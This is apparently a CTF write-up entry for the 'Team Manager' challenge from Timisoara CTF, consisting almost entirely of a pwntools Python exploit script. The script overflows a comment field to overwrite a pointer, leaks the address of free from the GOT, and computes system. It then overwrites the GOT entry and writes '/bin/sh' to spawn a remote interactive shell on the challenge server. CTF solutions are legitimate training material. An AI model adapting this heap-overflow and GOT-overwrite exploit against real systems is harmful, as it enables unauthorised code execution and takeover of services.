#### [Team Manager](http://timisoaractf.ro/challenge?id=28) (300pts)

|  |
| --- |
| #!/usr/bin/env python2 # -\*- coding: utf-8 -\*- from pwn import \*  exe = context.binary = ELF('timctf\_manager')  host = args.HOST or '89.38.208.144' port = int(args.PORT or 11114)  def local(argv=[], \*a, \*\*kw):  '''Execute the target binary locally'''  if args.GDB:  return gdb.debug([exe.path] + argv, gdbscript=gdbscript, \*a, \*\*kw)  else:  return process([exe.path] + argv, \*a, \*\*kw)  def remote(argv=[], \*a, \*\*kw):  '''Connect to the process on the remote host'''  io = connect(host, port)  if args.GDB:  gdb.attach(io, gdbscript=gdbscript)  return io  def start(argv=[], \*a, \*\*kw):  '''Start the exploit against the target.'''  if args.LOCAL:  return local(argv, \*a, \*\*kw)  else:  return remote(argv, \*a, \*\*kw)  gdbscript = ''' break \*0x{exe.symbols.main:x} continue '''.format(\*\*locals())  # -- Exploit goes here --  context.terminal = ['tilix', '-e']  def get\_menu():  io.recvuntil('Exit\n')   def add\_player(i, name, first, second, third, fourth, comment):  get\_menu()  io.sendline('1')  io.sendlineafter(') ', str(i))  io.sendlineafter(': ', str(name))  io.sendlineafter(': ', str(first))  io.sendlineafter(': ', str(third))  io.sendlineafter(': ', str(second))  io.sendlineafter(': ', str(fourth))  io.sendlineafter(': ', str(comment))  def remove\_player(i):  get\_menu()  io.sendline('2')  io.sendlineafter(') ', str(i))  def edit\_player(i, name, first, second, third, fourth, comment):  get\_menu()  io.sendline('3')  io.sendlineafter(') ', str(i))  io.sendlineafter(': ', str(name))  io.sendlineafter(': ', str(first))  io.sendlineafter(': ', str(third))  io.sendlineafter(': ', str(second))  io.sendlineafter(': ', str(fourth))  io.sendlineafter(': ', str(comment))  def view\_player(i):  get\_menu()  io.sendline('4')  io.sendlineafter(') ', str(i))  for i in range(5):  print(io.recvline())   io.recvuntil(': ')  return io.recvline()  io = start()  add\_player(1, 'AAAA', 1, 2, 3, 4, 'A') add\_player(2, 'BBBB', 1, 2, 3, 4, 'B') remove\_player(2) edit\_player(1, 'AAAA', 1, 2, 3, 4, 'A' \* 288 + p64(0x602018)) free\_mem = u64(view\_player(2)[:8])  log.success('Free in memory: ' + hex(free\_mem)) system = free\_mem - 0x48510 # system = free\_mem - 0x40420  edit\_player(2, 'BBBB', 1, 2, 3, 4, p64(system)) edit\_player(1, 'AAAA', 1, 2, 3, 4, 'A' \* 272 + '/bin/sh\x00') remove\_player(2)  io.interactive() |